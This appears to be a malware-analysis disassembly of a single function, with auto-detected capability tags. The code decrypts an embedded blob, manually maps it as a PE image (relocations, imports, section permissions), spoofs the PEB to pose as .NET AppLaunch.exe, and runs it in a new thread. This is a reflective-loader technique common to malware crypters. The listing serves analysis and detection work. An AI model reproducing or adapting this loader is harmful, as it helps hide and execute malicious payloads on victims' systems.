Function at 0x401060
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Enumerate pe sections
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0xace98
call fcn.00406e50
lea esi, [esp + 0x98]
push 0xace00
push 0x426218
push esi
call fcn.00409ff0
add esp, 0xc
mov dword [esp + 0x20], 0xace00
mov dword [esp + 0x18], esi
xor ecx, ecx
xor edi, edi
mov ecx, dword [esp + 0x20]
mov edi, dword [esp + 0x18]
not byte [edi]
add byte [edi], 0x38
mov eax, 0xdf
sub byte [edi], 0x76
imul byte [edi]
inc edi
loop 0x4010a0
mov edi, dword [esp + 0xd4]
mov eax, 1
cmp dword [edi + esi], 0x4550
jne 0x401525
add edi, esi
mov ecx, dword [edi + 0xa0]
mov edx, dword [edi + 0xa4]
mov eax, dword [edi + 0x50]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
test edx, edx
je 0x4010fc
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebp, eax
jmp 0x401128
push 4
push 0x3000
push eax
push dword [edi + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebp, eax
cmp dword [edi + 0x34], eax
je 0x401128
push 0x40
push 0x3000
push dword [edi + 0x50]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x400
push esi
push ebp
call fcn.00409ff0
add esp, 0xc
movzx eax, word [edi + 0x14]
xor ebx, ebx
cmp word [edi + 6], 0
lea eax, [edi + eax + 0x18]
mov dword [esp + 0x1c], eax
je 0x40117b
lea esi, [eax + 0x14]
nop
mov eax, dword [esi - 8]
mov ecx, dword [esi]
lea edx, [esp + 0x98]
add eax, ebp
add ecx, edx
push dword [esi - 4]
push ecx
push eax
call fcn.00409ff0
add esp, 0xc
movzx eax, word [edi + 6]
inc ebx
add esi, 0x28
cmp ebx, eax
jb 0x401150
mov ebx, eax
mov eax, ebp
sub eax, dword [edi + 0x34]
mov edx, dword [esp + 8]
mov dword [esp + 0xc], edi
mov dword [esp], ebp
je 0x4012fc
cmp dword [esp + 4], 0
je 0x4012fc
add edx, ebp
xor esi, esi
jmp 0x4011c2
mov esi, dword [esp + 0x10]
mov edi, dword [esp + 4]
add esi, ecx
cmp esi, edi
jae 0x4012fc
mov ecx, dword [edx + 4]
mov dword [esp + 0x10], esi
mov esi, edx
add edx, 8
lea edi, [ecx - 8]
cmp edi, 2
jb 0x4011b0
mov ecx, dword [esi]
shr edi, 1
mov dword [esp + 8], esi
lea esi, [edi - 1]
add ecx, ebp
cmp esi, 7
jb 0x4012c3
mov esi, edi
and esi, 0xfffffff8
jmp 0x40120c
add edx, 0x10
add esi, 0xfffffff8
je 0x4012c0
movzx ebp, word [edx]
test ebp, 0x3000
je 0x401220
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 2]
test ebp, 0x3000
je 0x401235
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 4]
test ebp, 0x3000
je 0x40124a
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 6]
test ebp, 0x3000
je 0x40125f
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 8]
test ebp, 0x3000
je 0x401274
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 0xa]
test ebp, 0x3000
je 0x401289
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 0xc]
test ebp, 0x3000
je 0x40129e
and ebp, 0xfff
add dword [ecx + ebp], eax
movzx ebp, word [edx + 0xe]
test ebp, 0x3000
je 0x401200
and ebp, 0xfff
add dword [ecx + ebp], eax
jmp 0x401200
mov ebp, dword [esp]
and edi, 7
jne 0x4012e6
mov ecx, dword [esp + 8]
mov edi, dword [esp + 4]
mov esi, dword [esp + 0x10]
mov ecx, dword [ecx + 4]
jmp 0x4011b8
add edx, 2
dec edi
je 0x4012c8
movzx esi, word [edx]
test esi, 0x3000
je 0x4012e0
and esi, 0xfff
add dword [ecx + esi], eax
jmp 0x4012e0
mov eax, dword [esp + 0xc]
mov ecx, dword [eax + 0x80]
cmp dword [ecx + ebp + 0x10], 0
je 0x4013cd
lea eax, [ecx + ebp + 0x10]
add ecx, ebp
xor edx, edx
mov dword [esp + 4], ecx
mov dword [esp + 0x10], eax
jmp 0x40134e
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
mov ebp, dword [esp]
inc edx
lea eax, [edx + edx*4]
cmp dword [ecx + eax*4 + 0x10], 0
lea esi, [ecx + eax*4 + 0x10]
mov dword [esp + 0x10], esi
je 0x4013c5
lea eax, [edx + edx*4]
mov dword [esp + 8], edx
mov eax, dword [ecx + eax*4 + 0xc]
add eax, ebp
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x401330
mov edi, eax
mov eax, dword [esp + 0x10]
mov ebx, dword [eax]
mov eax, dword [esp]
mov ebp, dword [ebx + eax]
test ebp, ebp
je 0x401330
mov esi, dword [esp]
add ebx, esi
add ebx, 4
jmp 0x4013a5
mov ecx, dword [esp + 0x10]
mov ecx, dword [ecx]
mov dword [esi + ecx], eax
add esi, 4
mov ebp, dword [ebx]
add ebx, 4
test ebp, ebp
je 0x401330
movzx eax, bp
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x401390
mov eax, dword [esp]
lea eax, [ebp + eax + 2]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x401390
mov eax, dword [esp + 0xc]
movzx ebx, word [eax + 6]
mov edx, dword [esp + 0xc]
test bx, bx
mov ebx, ebp
mov ebp, dword [esp + 0x1c]
je 0x40145f
add ebp, 8
mov edi, 0x40
xor esi, esi
nop word [eax + eax]
mov ecx, dword [ebp + 0x1c]
mov eax, 0x40
mov edx, 4
mov ebx, 2
test ecx, 0x20000000
cmove eax, edx
mov edx, ecx
test ecx, 0x40000000
not edx
cmove ebx, edi
test edx, 0x60000000
mov edx, 0x20
cmove ebx, edx
cmp ecx, 0xc0000000
mov ecx, 4
lea edx, [esp + 0x18]
cmovb eax, ecx
mov ecx, dword [ebp + 4]
cmovb eax, ebx
mov ebx, dword [esp]
add ecx, ebx
push edx
push eax
push dword [ebp]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0xc]
movzx eax, word [edx + 6]
inc esi
add ebp, 0x28
cmp esi, eax
jb 0x4013f0
mov eax, dword fs:[0x30]
vmovups ymm0, ymmword [0x4d3070]
vmovups ymm1, ymmword [0x4d3058]
vmovups ymm2, ymmword [0x4d3038]
mov ecx, dword [eax + 0xc]
mov edi, dword [ecx + 0x14]
mov dword [eax + 8], ebx
mov dword [edi + 0x10], ebx
vmovups ymmword [esp + 0x78], ymm0
vmovups ymmword [esp + 0x60], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [esp + 0x40], ymm2
vmovups ymmword [esp + 0x20], ymm1
cmp dword [edx + 0xe8], 0
je 0x401501
vmovsd xmm0, qword [edi + 0x1c]
lea eax, [esp + 0x20]
mov dword [edi + 0x20], eax
vmovsd qword [esp + 0x10], xmm0
push eax
mov esi, edx
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov word [edi + 0x1c], ax
add ebx, dword [esi + 0x28]
push 0
push 0
push 0
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
vmovsd xmm0, qword [esp + 0x10]
vmovsd qword [edi + 0x1c], xmm0
jmp 0x40151a
add ebx, dword [edx + 0x28]
push 0
push 0
push 0
push ebx
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
add esp, 0xace98
pop esi
pop edi
pop ebx
pop ebp
ret